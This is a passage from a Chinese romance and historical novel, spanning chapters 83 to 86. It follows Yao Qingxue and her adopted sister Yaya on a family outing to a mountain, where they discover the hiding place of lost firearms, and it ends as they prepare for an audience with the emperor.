等人走后,刘氏道:“还是你想得周到,芽芽的事可不能让外人知道,往后有人问我和你爷爷就照你刚才的说。”若是知道芽芽是罪臣之后,将来怕是于婚事有碍。若是有人存了坏心,这日子就没个消停了。 “雪儿。”刘氏用极低的声音问:“你说皇上会不会哪天反悔,再治芽芽的罪?我总感觉芽芽的命像是攥在别人手里似的。” “金口玉言,皇上不会反悔,您大可放心。”姚轻雪道,“只要咱家别说漏了,外人谁也不知内情,芽芽就是清白人家的孩子。” “好,那我就放心了。”大孙女就是家里的主心骨,她这么说,刘氏是信的。见她收拾碗筷,便挥挥手:“药快熬好了,你去端给芽芽,我来收拾。” 姚轻雪把药倒出来端回房间,见芽芽睁着眼睛一脸迷茫,小白躺在她脑袋旁边。她摸了摸芽芽的额头,还是很热。“先把药喝了。” “嗯。”芽芽乖乖把药喝了。重新躺下,她看着姚轻雪:“姐!” 这一声“姐”叫得委屈极了,姚轻雪眼眶一酸,眼泪在眼里打转。发生在芽芽身上的事换在她身上都很难接受,这么小的孩子怎么承受得住。可是能怎么办?人没办法选择父母与出身。 但若是知道爹娘是爱她的,心里或许会好受一些。 “芽芽,我跟你娘虽接触不多,但我知道她很爱你,把你送走是为了保护你,希望你不要恨她。至于你爹、”姚轻雪凑近妹妹耳边小声道,“你还记得给你起名张岿的人吗?” 芽芽先是茫然,随后点点头,“记得。” 姚轻雪:“我猜那人就是你父亲。” 芽芽瞬间瞪大了眼睛,姚轻雪点点头,“但是这件事你只能藏在心里,除了我谁都不能告诉。” “嗯。”芽芽点头,眼泪顺着小姑娘的眼角流下来,枕头都湿了一片。 “瞄!”小白叫了一声,用舌头去舔小主人眼角的泪水。 “你还记得小白它刚来咱家时,每次叫你它都巴巴地过去吗?因为小白本名就叫芽芽,它是你娘养的。” “娘!”芽芽眼泪流的更凶了了。 “对,你娘也想你,但为了保护你她不能见你,只好给猫起了你的乳名,以解思念之苦。” 芽芽翻过身,抱住小白泣不成声。姚轻雪叹口气,让她和小白待着。她走出房间就见姚福推着小车回来。 昨日他们突然被官差带走,卖卤味的家伙就那么扔在街上了,幸亏曲长平的爹给带回家才没丢。姚福把车放到角落。“昨儿是你曲叔去大理寺找的韩泽。” 刘氏从灶房走出来,“改天咱得谢谢人家。”这车带桶盆和刀也不少银子呢。“买肉了?” 姚福提着两根排骨和一块瘦肉,“芽芽喜欢吃排骨和炸肉,等会儿给她做,多吃病才好的快。”说完他去灶房把排骨剁成小块。 姚轻雪做了些炸肉和糖醋排骨,这两道菜是芽芽的最爱。她做的不少,想着下顿热热再吃也是一样。 她刚做好,韩夫人领着韩莺和韩娇上门了。韩母拉住姚轻雪的手,“吓坏了吧?”昨晚儿子回家说了事情经过,韩将军和韩母听完都是愣了半晌。 “是吓得不轻。”姚轻雪苦笑,“若是没有韩泽,我和妹妹此劫怕是难过。” “不说丧气话,陛下仁义,即便没有润青你们也会平安无事。姚家和你的事谁听了不得叫两声好。” “姚姐姐,芽芽妹妹呢?”韩娇左看右看没看见芽芽。 “她病了。我刚做了吃食,你们一起来。”姚轻雪招呼韩娇和韩莺,端了刚出锅的炸肉和排骨去她和芽芽的房间。 吃过药芽芽大哭一场,又出了些汗,这会儿热倒是退了些。只是两只眼睛肿得跟核桃似的,她看见韩娇和韩莺有些不好意思,往被子里躲。 韩莺逗她,“不出来,炸肉我可都吃喽。” 被子里动了动,韩娇一本正经地说道:“姐,别欺负芽芽妹妹,她生病了。”她趴到床边,对着被子的鼓包道:“芽芽妹妹你好些了吗?难受吗?” 芽芽冒出个头,“好多了。”她吸了吸鼻子。 “起来吃饭,爷爷特意给你买的。”姚轻雪把她扶起来,再把桌子搬到床边。让她们三个吃。 “我都多大了,哪还能跟她们一样。”韩莺嘟囔。 “那我拿走?”姚轻雪装作要收走她的筷子。 韩莺看了看满满两大盘的糖醋排骨和炸肉,夺过姚轻雪手里的筷子。“下顿就不好吃了。” 让她们三个边吃边聊,姚轻雪去了堂屋。姚福、刘氏与韩母不知说了什么,三人面色都很沉重。 韩母见她进来,叹口气:“难为你了。”才多大年纪就一个人担了这么大的事,韩夫人都觉得她不容易。 “当初没想那么多,就是想要救她。”姚轻雪嘴角噙着笑,“说起来我们姐妹俩有些像,也算是同病相怜吧。” 姚轻雪的身世韩母从儿子那听说了,“大灾大难都过去了,你们姐妹都是有福之人,福气都在后头呢。润青的事你也别往心里去,他以前太忙还总得罪人,有人对他又怕又恨,他在外面我常提心吊胆,如今做大理评事挺好,能按时回家,我也能常见他,塞翁失马焉知非福。” 姚轻雪一愣,韩泽被降职了?到底还是连累了他。 再见韩泽时,姚轻雪问他:“遗憾吗?有怨吗?” “遗憾是有的,怨没有。”韩泽笑道:“你要相信我,失去的早晚有一天会重新回来。正好借这个机会休息一下。”他都被降职了,偶尔偷个懒没人会跟他计较。 “偷懒都这么明目张胆。”姚轻雪笑,“小心皇上再把你降职。” “再降我就该回家了。等芽芽好了,我们出去散散心。”韩泽道,“自从做了大理寺少卿,我也是没几天清闲日子。” 芽芽病来得快,好得也快,吃了三天药,又好吃好喝地养了几日,身体没有大碍,只是人蔫蔫的,话也比以前少,有时候自己坐那发呆,叫她几次才有反应。 “哎!”刘氏叹气:“到底是亲爹娘,除非铁石心肠,不然咋能不难受。” 姚福道:“慢慢的就好了,咱们该咋样还咋样,别提她爹娘就是。” 妹妹这个样子,姚轻雪暂时不打算让她去学堂。“芽芽,我们去郊游吧,你韩泽哥哥能猎野物,咱们在野外烤野鸡烤兔子,山上还有很多花。” 芽芽有些心动,姚轻雪见她眼里有向往,会心一笑,“就这么定了。” 到了出游这日,韩泽看着挤得满满当当的马车叹气。有时候弟弟妹妹多了也很让人烦恼。 第83章 第83章山中 韩莺和韩娇知道大哥要带姚家姐妹出城游玩,她俩非要跟着。不答应俩个小姑娘便泫然欲泣:“大哥你变了,再也不是疼爱我们的大哥了。” 韩将军和韩夫人也不阻止,喝着茶在一边看热闹。韩泽很是无语,两个妹妹 从小就怕他,与他不怎么亲近,他这个做大哥的也没疼爱过她们。她俩这般模样,反倒叫他心虚。相比姚轻雪对待芽芽,韩大人觉得他这个哥哥做的不太够,便答应了。 见两个妹妹得逞,韩漳不甘落后。韩浩听说后也要去,他还把心上人周芸姝带上。于是原本三人行变成了四辆马车。一辆装锅具米面粮油,他们打算在城外待两日。 第一天打猎野炊,晚上到山中道观借住一晚,早上看完日出再下山回城。猎物不一定打多少,这么多人万一没吃的可就麻烦了,以防万一多带些米面总没错。 另外三辆马车坐人,偏偏几个姑娘喜欢挤在一辆车里,一辆给随行丫鬟。韩漳独坐一辆。他从小窗探出头来,“大哥二哥,进来坐呗,自家兄弟客气什么。” 韩泽嫌弃道:“你也好意思,咱们三兄弟属你最弱,马都骑不好。” “二哥教你骑马吧。”韩浩道。 “不学。”韩漳摆手,“韩家有你们俩努力就够了,我过我的闲散日子。”韩三公子想得明白,他再怎么努力也超越不了父亲、大哥和二哥,那他干脆遵从内心随心所欲。不用努力钻营,想怎么过就怎么过,以后也有两个哥哥罩着他,何乐而不为呢? 韩浩笑道:“咱俩都不如三弟通透。” “他就是懒。”韩泽毫不留情地拆穿弟弟。 韩漳浑不在意,在家被父亲母亲说得多了,他脸皮早就变厚了,三公子往远处看了看。“到霄云山得午时了吧,今儿起得早,我先睡会儿,到了叫我。” 霄云山在京城五十公里外,卯时末他们出城,因为车上都是女孩子,所以曹叔他们赶车也没有太快。按照目前的速度,到霄云山得将近中午。 韩漳缩回车内打盹,韩浩驱马靠近韩泽。“陛下这么做也是为了堵大臣们的嘴,我想很快便会起用大哥。” 火器至今没有找到,朝中早有人对大理寺、对韩泽表示不满。这次张迁之女一事其实根本不算事,关键在于姚轻雪是韩泽的未婚妻,皇上若不给他降职,就得处置姚轻雪。藐视律法和皇权总得付出点代价。 “我明白,你不用担心。”韩泽面色柔和,“今日非休沐你怎么有空出来?” 韩浩摸摸鼻子,“我说陪大哥出来散心,上头便给了假。”他借大哥名义偷个懒。 韩泽:“……”行吧。“说起来除了小时候一起去庄子,咱们兄妹几个从来没有一起出来玩过。” “是啊,等莺莺和娇娇嫁人,更不会有机会了,所以这次难得聚齐,我便告了假。我也很久没有打猎了。” 因为姚轻雪说要烤野鸡兔子,但离京城近的山去的人多,野鸡兔子很少见了,所以韩泽便选择了较远的霄云山。 霄云山因主峰高耸入云而得名,远离京城人烟稀少,野物也较多,据说还有野猪。普通人游玩轻易不会往那边去。但韩泽和韩浩不担心,他俩巴不得猎到野猪呢。为了保障安全,他们特意带了十来个护卫,所以也不用担心姑娘们会有事。 几个姑娘叽叽喳喳聊了半路,说累了正欲找点乐子,周芸姝默默拿出一副叶子牌。 姚轻雪:“还是周姑娘想的周到。” 周芸姝面带笑容:“以前同母亲出游,路上实在闲的发慌,昨日听韩二公子说要去霄云山,想着路上定是会无聊,便带了牌过来。” 韩莺提议:“光玩没意思,得有彩头。” “我有。”韩娇把贝壳包打开,从里面拿出钱袋。光听声就知道里面装了不少银子和铜板。 芽芽也把装饰着漂亮贝壳的小包打开,但她的包里装的都是肉干和零嘴。 “芽芽妹妹我跟你换。”韩娇抓了几块碎银要跟芽芽换零食。 “我觉得自己有什么就拿什么做彩头。”周芸姝提议,“芽芽妹妹这兜零食在这荒山野岭可是有银子都买不到。” 除了芽芽其他人身上都有银子,都拿出来做彩头。几人玩叶子牌,最后芽芽的零食被分吃一空却赢了不少银子。 巳时末一行人终于到了霄云山脚下。坐了许久几个姑娘腿都有些僵,站都站不稳。韩泽去扶姚轻雪,韩浩则搀着周芸姝慢慢走。韩莺不忿,扯过三哥,让他扶自己。 韩漳一手扶韩莺,一手扶韩娇。韩娇还扯着芽芽的手,四人笨拙地来回走,走着走着两个妹妹使坏,故意坠着三哥,韩三公子也不恼,继续拖着三个走,样子极其滑稽。几个姑娘的笑声却传出去老远。 姚轻雪正乐呢,突然感觉耳边传来温热,一转头就与踏雪的马脸对上。她一捂脑袋后退:“我可没招你。” 韩漳拖着妹妹们走回来,“姚姐姐,踏雪喜欢你。” 姚轻雪腹诽踏雪喜欢她的方式太特别,见面就咬头发。为了不辜负踏雪的喜欢,她蹲下身揪了一把草,伸到踏雪嘴边,踏雪一龇牙打了个响鼻,姚轻雪以为它要咬自己,“啊”一声扔了草,躲到韩泽身后。惹得几个姑娘大笑。 韩莺:“满地都是草,你偏揪了一把最老的,踏雪咬你不冤。” 姑娘们笑闹着,韩泽拿出地图看附近地形,稍作休息后将人和车带到一条小河旁。这边地势缓和,山势不高,偶尔能看见蜿蜒向树林里的小路,人常走的地方相对安全,便决定让姑娘们在这里等着。 留下几人看守,韩泽韩浩和其他护卫带上弓箭往山里进发。韩漳不会功夫,便也留在此处。 几个姑娘甚少来山野之地,对河、山、树林以及不知道名字的野花,都表现出极大兴趣。这走走那看看,一条鱼、一只虫都让她们惊奇不已,时不时发出惊叹声。韩家护卫散开,把附近树林走一遍,确定没有大的野兽,便在远处守着。 姚轻雪带她们爬上最近的一处山,摘了不少蕨菜下来。韩泽他们不知何时回来,姚轻雪带她们搭锅灶。虽说打算烤野味,但光吃烤的也不行,万一猎的东西不多,这么多人总不能饿着,所以还是先把灶搭起来。 娇生惯养的大小姐哪里做过这个,韩莺和周芸姝束手束脚,做什么都让丫鬟代劳。韩娇和芽芽却玩得很开心。姚轻雪看中哪块石头,伸手一指,两个小姑娘屁颠屁颠搬过来。搬不动的大块就让韩漳动手。 灶搭起来,姚轻雪先把蕨菜焯水,放一点酱油再放一些野生的蒜头,味道非常不错。这会大家肚子都饿了。打猎的人不一定什么时候回来,即便回来收拾野味也要时间。于是姚轻雪指使韩漳带领姑娘们在附近摘榆钱,等蕨菜焯好,她用榆钱和面烙榆钱饼。 榆钱饼带着榆钱的清香和甜味,几个大家小姐和她们的丫鬟就着蕨菜吃的停不下来,要不是姚轻雪阻止,她们吃榆钱饼就能吃饱。韩漳和几个护卫也吃了些垫肚子。姚轻雪没有停手,继续烙饼,韩泽进山这么久,回来肯定会饿,她提前做出来,他们出山就能吃到现成的。 韩莺等人在河边玩闹,拇指长的小鱼随处可见。芽芽问姐姐:“能不能做炸鱼?” “能抓到我就做。”河水不深,又有韩漳在一边看着,也不怕她们有危险。 于是几个姑娘便蹲在河边往岸上捞鱼,山中的鱼没见过人类的可怕,不知道怕人,还真叫她们徒手捞上来几条。 韩漳嫌弃太慢便拖鞋下河抓。芽芽和韩娇也脱鞋下河,嫌手抓慢,韩娇把裙子外层的薄纱扯下来和芽芽一起兜鱼。等她们把大半盆小鱼抬到锅灶旁,姚轻雪吓了一跳。“不会把河里的鱼都捞没了吧?” “姐,还有好多呢。”芽芽大笑。 韩娇:“再有两盆也捞不完。” “姐,是不是得去鳞和内脏?”芽芽经常帮做饭,对怎么处理鱼很了解。 姚轻雪看了看拇指长的小鱼,这么小又这么多去鳞和内脏得收拾到什么时候,“不用,鱼新鲜直接炸,鱼鳞都是酥的。” 榆钱饼做完,她就起锅烧油炸鱼,开始炸一点都不够几个姑娘吃。还是姚轻雪提醒她们留肚子,韩莺几个才住 嘴。 韩泽等人还没走出树林就闻到浓浓的香气。有人问:“这是吃上了?这味儿可真香。” 曹叔:“姚姑娘做了吃食,闻着像是炸鱼。” 有人肚子不争气地叫了声,众人都加快了脚步。 “大哥!”韩漳最先看见人回来了。 “呀!是鹿。”韩娇牵着芽芽跑去看鹿。 姚轻雪起身,见韩泽他们满载而归,有野鸡、野兔,最大的收获是两人抬着的鹿。她擦了一下额头过去看:“公鹿?”小小的鹿茸刚冒出个头。 “是公鹿。”韩泽道,“野鸡野兔也都是公的,春季母的孵蛋带崽杀不得。” “是这个理儿。”姚轻雪起身,“都饿了吧,吃点榆钱饼和炸鱼垫垫肚子。” 进山打猎消耗极大,护卫们早就饿得前胸贴后背,但没人动。韩泽让他们不用拘谨,于是大家纷纷出手。 一手榆钱饼,一手炸小鱼,抽空再吃口凉拌蕨菜。要不是姚轻雪提醒别把鱼内脏吃了,都得把整条鱼放进嘴里嚼。不起眼的东西让他们吃出山珍海味的模样。 猎物韩泽没让姚轻雪动手,垫了下肚子韩浩带人在河边处理。一个时辰后众人终于吃上了烤野味。 第84章 第84章发现 烤肉因为腌制的时间不够、没入味,味道并不怎么好,姑娘们吃两口便不吃了。其实她们先前吃炸鱼和榆钱饼都差不多饱了,对烤肉兴趣并不大。因为有韩泽和韩浩等人在,她们胆子也大了起来,在附近的山林里来回穿梭。 野花采了不少,姚轻雪把各种颜色的花编成头冠给两个小姑娘戴,俩孩子美的不得了。芽芽和韩娇还端了一窝不知名的鸟蛋。她俩把鸟窝端过来给姐姐们看,急得两只大鸟在她们头上喳喳叫个不停。 姚轻雪道:“里面兴许已经有小鸟了,离了大鸟崽子很快就会死,你俩还是给人家爹娘送回去吧。” “好吧。”芽芽有些遗憾,她还想带回家孵小鸟呢。 韩娇拍拍她,“改天我送你鹦鹉,会说话的哦。” “好。”芽芽瞬间高兴了,“那把它们送回去吧。” 周芸姝和韩莺陪着两个小的把鸟窝放回原处,喳喳的鸟叫声终于停了。 韩泽看着满满的一篮蕨菜道:“摘这么多?吃得完吗?” “不多,吃得完。”姚轻雪弯腰摘蕨菜,“蕨菜采摘期短,现在正是嫩时,过了这个月想吃都没有,回去腌上,什么时候想吃都可以,炒腊肉、五花肉都特别好。” 她说好吃,韩泽坚信不疑,也弯腰同她一起摘蕨菜。这边少有人踏足,蕨菜满山都是,没多一会儿,篮子就冒尖了。 腰弯得久有些酸痛,姚轻雪一屁股坐在山坡上。树林里传出芽芽和韩娇的笑声,还有韩莺的训斥和周芸姝的劝阻,四个姑娘闹腾的像是漫山遍野都是女孩子。韩家护卫在周围守着,先前也镗过路,蛇鼠什么的早被惊跑了,也不怕她们有危险,而且吃饱喝足的韩浩已经奔着心上人去了。 姚轻雪胳膊肘捅捅坐在她身边的韩泽,示意他往那边看,“你弟弟和周姑娘感情很好呢。”盲婚哑嫁的年代,能够两情相悦何其幸运。 韩泽转头瞧见韩浩的背影一晃便没入树林,“我们的感情不好吗?” “嘿嘿,好!”见左右无人,姚轻雪身子一歪倒在韩泽腿上,她找个了舒适的位置躺下。 与韩泽相遇也是她的幸运,姚轻雪抬眼看向男人:“你被我连累了,若是解除婚约,陛下也许就不会怪罪,你也不会被降职。” 她躺在腿上,脸庞近在咫尺,韩泽心猿意马,随口道:“或许吧,现在想这些于事无补。” “你什么意思?”姚轻雪眯眼,“你难道真想过与我解除婚约?”她可以想,但他不能想。什么样的女人都有不讲道理的时候,尤其和心上人在一起时。 韩泽赶紧补救:“绝对没有,职位可以再寻,妻子就你一个。我的意思是降职跟你没有多大关系,是我办事不利,陛下小惩大诫是应该的。” “这还差不多。”姚轻雪嘟囔。“对了,回头把两千两还你,陛下既然罚我,银子定然要我出。”韩泽已经把皇上罚她的两千两交上去了。 “跟我还分得这么清楚。”韩泽替她拢了拢被树枝刮乱的头发,“再说你拿得出两千两?”姚家有多少家底,姚轻雪虽然没说,但韩泽大体可以猜到,全部家当绝对没有两千两银子。 “这你就别管了。”姚轻雪道,“该分的时候还是得分一下,何况你我还未成亲。”她没有那么多银子,但芽芽还有她娘留下的一万两,她打算用一下。她们姐妹的劫一起去度,这样芽芽心里也会好受。 “你呀,何必这般要强。于我来说举手之劳,我是你未来夫君,替你还银子理所当然。” 姚轻雪不语,幸运值得珍惜,她不会认为韩泽对她的好是理所当然。否则,总有一天她会失去更多。 “随你。”韩泽叹气,他看向不远处卷曲的蕨菜问:“还摘不摘?” “摘!”姚轻雪利落起身,“难得出来一次,越多越好。” 韩泽也起身,“你若喜欢,哪天去庄子,那边也有山,不过怕是没有这边这么多。”村民们喜欢去山里转,那边连野兔野鸡都少了。 “姐姐!”芽芽怀里抱着蕨菜从树林里走出来,“看,我采这么多。” “我也有。”韩娇也抱着一抱蕨菜。 两个小丫头身后,韩莺、周芸姝、外加韩浩每人怀里都抱了蕨菜。早上穿的漂亮裙子此时青一块绿一块,有地方还被树枝刮破了,但谁都不在意,脸上都是抑制不住的笑容。 蕨菜已经足够多,曹叔没吃够榆钱饼还摘了一桶榆钱,其他侍卫下河又网了不少小鱼。姚轻雪觉得她们再不走,这河里的鱼怕是要被他们捞绝了。 申时中,大家玩够了也玩累了,便装上东西往回走,从来时的一条岔路拐进去,往霄云山最高峰去。 霄云山主峰半山腰有一座道观,名为“霄云观”,原本香火并不旺盛。后来很多人想去霄云山顶看日出,但当日从京城赶过去来不及,便都在霄云观住一晚,住自然是不能白住,渐渐地香火也旺起来。 韩泽他们打算今晚在霄云观住,明日天明前爬山,几个闺阁中的姑娘从来没看过日出,早就跃跃欲试了。 半个时辰后一行人来到霄云山主峰下,马和马车上不去只能留人在山下守着。上山的路有人走,还算光滑。但由于是上山,地势较陡,男人们还好,几个姑娘和丫鬟就不行了,没走多远便气喘吁吁,两腿发软。 韩泽拖着姚轻雪,姚轻雪拽着芽芽,韩浩扶着周芸姝,韩漳两条胳膊挂着韩莺和韩娇。韩三公子很无奈,左右看看问:“你俩怎么不去拽大哥和二哥啊?就属三哥最弱,你俩还偏扒着我。” 韩莺努努嘴,“你看他俩,眼里还有妹妹吗?” 韩三公子无语望天,欺负他没有心上人呗。 走到一块平地,韩莺实在走不动了,众人便坐下来休息。姚轻雪站在山坡边缘向西边望去,落日的余晖映红了半边天。“看看日落也不错。” “红红的像个大煎饼。”芽芽用她不太丰富的词形容落日。 “真的像噢。”韩娇道,“就是不能吃。” 芽芽:“吃了烫嘴。” 说完两个小姑娘自顾自地咯咯笑。姚轻雪收回目光时,突然看见下方树林掩映下露出个青色的尖顶,树枝茂密往下便看不清楚了。“那里是什么地方?” 韩泽站到她身边望过去,摇摇头,“不清楚。” 韩浩拿出地图,手指沿着山路那条线一直往上,然后停在一处:“应该是岿然亭,是一座废弃的亭子。” “岿然亭我听说过。”周芸姝道,“据说以前有位富商登山碰见熊,他岿然不动与熊对视,那头熊惧他威严没有伤他,那位富商后来在那处建了一座岿然亭。” 韩浩嘀咕:“荒郊野外的亭子还有由来,什么岿然不动,我看是他吓傻了,熊吃饱了不饿。” “我们过去,看看有没有熊。”韩娇兴冲冲道。 “天都快黑了,还是上山吧。”韩莺不愿。 韩娇噘嘴:“有大哥二哥在天黑也不怕,咱们可是好不容易才出来一次呢。” 韩漳:“三个也在啊。”没人理他。 “大哥陪你去。”韩泽心软。母亲并未十分约束两个妹妹,但姑娘家本身就不能像男子一般自由。出家门都不是想出就能出,何况出来游玩。 “大哥最好了。”韩娇笑眯眯,她牵起芽芽往小路走。 韩莺撇嘴:“马屁精。” 通往亭子的路长满蒿草,韩泽走在最前,不停地用棍子敲打地面,有碍事的树枝也被曹叔砍断。身后的人走起来就顺畅多了。 大约一刻钟,众人来到亭子前,看上去确实废旧了。柱子上的漆掉的差不多了,有的地方已经开始腐朽,琉璃瓦顶也断了。看样子用不了多久便会因为年久失修彻底倒塌。 韩娇远远地看了两眼,“哎呀,一点都不好看,也没有熊,我们回去吧。”她拽着芽芽往回 走。 来都来了总得看一眼,于是姚轻雪踏过蒿草走进亭子。亭子里的地面铺了石砖,但也挡不住草从缝隙里钻出来,确实没什么看头。 “走吧。”韩泽在亭外招手。韩浩已经领周芸姝和韩莺等人往回走了。 “好!”姚轻雪背着手走出亭子,她抬头看了下天,就这么一会儿天就快黑了,得赶紧上山。没走几步她突然停住脚步。 韩泽见她不动,便问:“怎么了?” 姚轻雪没说话,转身回了亭子。她仰头看亭子顶部几条发光的线条。越看眼睛瞪得越大。“韩、韩泽!” 她声音打着颤,韩泽三两步跨进亭子:“怎么了?可是有蛇虫?” “不是。”姚轻雪仰头,抓住韩泽的胳膊,抬手往上面指:“你、你看,像不像?” 韩泽顺着她的手看去,就见几条发光的线悬在头顶,这哪来是像?分明就是。从张家带出来的藏宝图,他都刻在脑子里,甚至做梦都会梦到,看一眼便可以确定。 第85章 第85章尘埃落定 “大哥!” “姐姐!” “你们被落下啦。” 韩娇和芽芽的声音从远处传来,把震惊的二人拉回神。 韩泽深吸一口气,拽上姚轻雪:“走吧。” 日出是看不成了,好不容易有了线索绝对不能出差错,韩泽决定带人守在这儿,让二弟将姑娘们送回城,然后带人和工具天亮前过来。 韩浩不敢耽搁立即带人下山,韩娇等人不知发生了什么。“不上山了吗?” 姚轻雪捂着心口道:“突然心慌难受,今日就回城吧,改天再过来。” “姐姐,你怎么了?”芽芽满脸担忧。 “刚刚不是还好好的?怎么突然不舒服?”韩莺狐疑。 周芸姝扯着韩浩的袖子怯怯道:“会不会冲撞了什么?”小时候祖母跟她说天黑以后不要去荒无人烟之地,容易被孤魂野鬼找上。以至于长大后她也很怕黑,若不是有韩浩在身边,她是绝对不会来看日出。 韩浩拍了拍周芸姝的手臂,“别怕,有我呢。” 没想到书香门世家的小姐竟然信鬼神,姚轻雪顺水推舟,“想来是的,刚刚一时好奇进了亭子,出来便觉得心慌。我们还是快走吧。” 走了几步,见韩泽和曹叔等人没跟上,韩莺更奇怪了,“大哥和曹叔不回去吗?” 韩浩把韩莺的脑袋扭过来,“别多问,走。” 此时天已经黑下来,护卫举着火把,韩二公子带人下山。山路较陡,下去并不比上来轻松。韩莺还摔了一跤。韩浩拽着周芸姝和两个妹妹,让三弟照顾姚家姐妹。 马在山下吃饱喝足歇够了,韩浩叮嘱车夫以最快的速度回城,即便如此到京城时城门也已经关了。韩浩亮出身份一行人顺利进城。他让三弟带人把姚轻雪姐妹和周芸姝分别送回家,他进宫面圣。午夜十分,韩浩带领百余人悄悄出了城。 这一夜姚轻雪并未睡好,总是做梦,梦到张迁,梦到吴姨娘,梦到那张图。早上起来脑子都是昏沉沉的。 姚家二老也以为她在外面冲撞了什么,刘氏买了纸钱在十字路口边烧边念叨。姚轻雪心里装着事,便没去管爷爷奶奶。 芽芽担心坏了,让姐姐躺着,她给端饭倒水。姚轻雪特别欣慰,这个妹妹没白疼。 韩泽两日没有出现,姚轻雪焦急了两日,直到第三天晚上他才来姚家。 听到有人敲门,姚轻雪跑去开门,见到韩泽就迫不及待地问:“找到了?” 韩泽点头,“岿然亭坡下三百米有一处山洞,东西就藏在那里。” “找到就好。”姚轻雪长舒一口气。因为那批火器,她死里逃生,一直是朝廷关注的对象,如今尘埃落定,她总算可以和过去来个了断。 姚轻雪感慨,总感觉冥冥中有注定。因为想哄芽芽开心,才想去打猎看日出,这才选了霄云山。又因周芸姝讲了富商与熊的故事,才让韩娇想去看亭子,最后却是她好奇心重走进亭子。但凡少去一个人或是去其他地方都到不了岿然亭。 现在想想图上画的根本不是山,就是个记号。姚轻雪沉默,其实她应该早些想到。张迁死前不久无缘无故给芽芽留下“张岿”这个名字,背后定有理由。若是早些注意到“岿”这个字,或许就不用费那么多功夫了。 姚轻雪拍了下脑袋,笨死了。 “怎么了?” “没什么。”姚轻雪决定将此事烂在肚子里。若是早些告诉韩泽,他和大理寺或许早就想到了。反正东西已经找到了,还是别牵扯芽芽了。 “对了,我官复原职了。” 姚轻雪一笑:“恭喜韩少卿。” “托你的福。”韩泽柔声道。从始至终若是没有姚轻雪,那批火器便无见天日的可能,虽说不会落入敌人之手是幸事,但始终是陛下和他心里的疙瘩。 “哼哼,我的确有功。”姚轻雪不谦虚地接受了,她抬手戳戳男人的心口,“我可是有福之人,韩大人你要好好珍惜才是。” 韩泽顺势攥住她的手指,“定会视若珍宝。” “这还差不多。”姚轻雪嘟囔,“不进去坐?” “不了,天儿不早了,我也早些回去。”韩泽道,“明日我过来接你和芽芽,陛下要见你们。” 姚轻雪一惊,“皇上要见、见我和芽芽?不是找到了吗?还见我们做什么啊?”这里的百姓把面见天子当做天大的荣耀,但姚轻雪并不想要这份荣耀。一句话决定人生死谁想见啊? “胆子不是很大吗?怎么见皇上就给你吓结巴了?”韩泽轻笑,“放心,找到火器陛下非常高兴,只是想见见大家,明日母亲会带韩莺韩娇韩漳进宫,周芸姝也会去。” 原来大家都去,姚轻雪放心了,送走韩泽,回到屋里。姚福问:“韩大人走了?怎么没进来坐坐?” “忙了几天,我让他早些回去休息。”姚轻雪坐下,看着家中三人,“明日我和芽芽进宫面圣。” “啥?”刘氏水碗端到一半“哐当”一下,碗砸到桌上,“你刚说啥?进啥?” 姚福也是愣住不说话。 “奶奶,是进宫面圣。”芽芽小声问:“姐姐,我也要去吗?皇上、皇上是不是要治我的罪了?”她始终记着自己是罪臣之女。 “不是,别瞎想。”姚轻雪把她拉过来抱抱,“韩莺韩娇还有周姐姐她们都去。” “到底怎么回事?雪儿你快说清楚?”刘氏急道,“无缘无故让你们进宫做什么?那皇宫岂是咱们这种人能去的?” 事到如今也没什么好隐瞒的了。姚轻雪便把事情的前因后果说出来,没有避着芽芽,有些事她不知道会自己瞎捉摸,知道了可能就没那么在意了。 二老震惊得说不出话,半晌刘氏才心疼道:“这么大的事,你怎么不跟我们说呢,你一个人得多害怕。” 姚福愧疚:“都是我害的。”若不是他摔断腿,孙女也不会去张家做厨娘,也就不会接二连三碰见倒霉事。 “什么害不害的,爷爷您这么说可就重了。”姚轻雪故作生气,“福祸相依,若是没有这一遭也碰不到芽芽,您二老多了一个孙女呢。” 姚福立马换了语气,“对对,不是坏事,咱家有芽芽。过去的就过去了,不提了。” “没错,这是因祸得福,咱家俩孙女都是有福之人。”刘氏道。没有那一遭姚家不但不会有芽芽,也不会有韩泽这个孙女婿。 “芽芽!”姚轻雪扶着芽芽的小 肩膀,“你爹娘的事姐姐已经没有什么瞒着你的了。等你长大了就会明白,人这一辈子很少有顺顺当当的时候。爷爷奶奶苦了一辈子,姐姐从小被抛弃,去年还差点被人杀死。但姐姐从来没有因为这些觉得世道不公,我一直坚信只要努力不放弃,日子会越过越好。” 芽芽低着头,安静地听着,泪水从她小脸上流下,一直流到嘴边。姚轻雪继续道:“我并不是要你忘记你的爹娘,姐只是不想你被过去困住,咱们得往前看。” 小姑娘吸了吸鼻子,用手背抹了下眼睛。“我知道的姐姐,我要像姐姐一样坚强。我与他们大概只有那点缘分,姐你放心吧,我不会总想他们。” 刘氏:“快别哭了,明日得进宫呢,顶着两个肿眼泡,宫里人以为咱家丫头丑呢。我孙女可不丑,明日打扮得漂漂亮亮的。” “芽芽不哭啊,明早爷爷去给你买排骨。”老爷子也不知道怎么哄。 说了会儿话,到睡觉时间姐俩回到房间,姚轻雪把一万两银票拿出来给芽芽交底。“这银子姐姐给你留着,等将来给你做嫁妆。” 芽芽摇头,“我不要,这是娘给姐的,就是姐姐的银子,嫁妆我自己赚。” “口气不小?你怎么赚?”姚轻雪失笑,“又不是现在给你。”她把银票重新收好,“我就是让你心里有个底,我们芽芽也是小有家产的姑娘,不比别人差,在外行走腰杆挺直些,不能被人小看了。” 芽芽抿着嘴,终于笑了:“好!” 姐俩躺在床上说话,小白趴在她们中间,柔软温暖的毛让俩人爱不释手,你摸一下她摸一下,小白也习惯了,就那么安静地趴着任摸。 原本以为会因为进宫的事睡不着,但没多大会儿姚轻雪的眼皮就开始打架,而芽芽也很快发出均匀的呼声。 一夜好眠,日次起来刘氏已将早饭做好。姐俩吃完便开始打扮。韩府早早派过来一位嬷嬷,临时教姐妹俩进宫的礼仪和规矩。 巳时刚过,韩家的马车便过来接人。姚轻雪有些紧张,芽芽也是小脸紧绷。 韩泽笑道:“陛下宽厚仁慈,此番大家都有功,不会过多苛责,不必紧张。” “嗯。”姚轻雪点头。明白归明白,但还是紧张。听见外面有锣鼓声,她以为是哪家娶亲,为了分散注意力便撩开帘子往外看。 恰巧看见宋筠身穿红袍、胸戴红花、骑在一匹白马上。 第86章 第86章巨债 姚轻雪疑惑,宋筠娶亲吗?不对,同样打扮的还有旁人,这时她听见人群中有人喊“状元郎!” “宋筠考中了?”姚轻雪回头问。 韩泽凑过去往外看了两眼,随即把帘子放下。“一甲第三名探花。”今日状元游街,他交代曹叔避开御街,但还是在岔路碰上了。 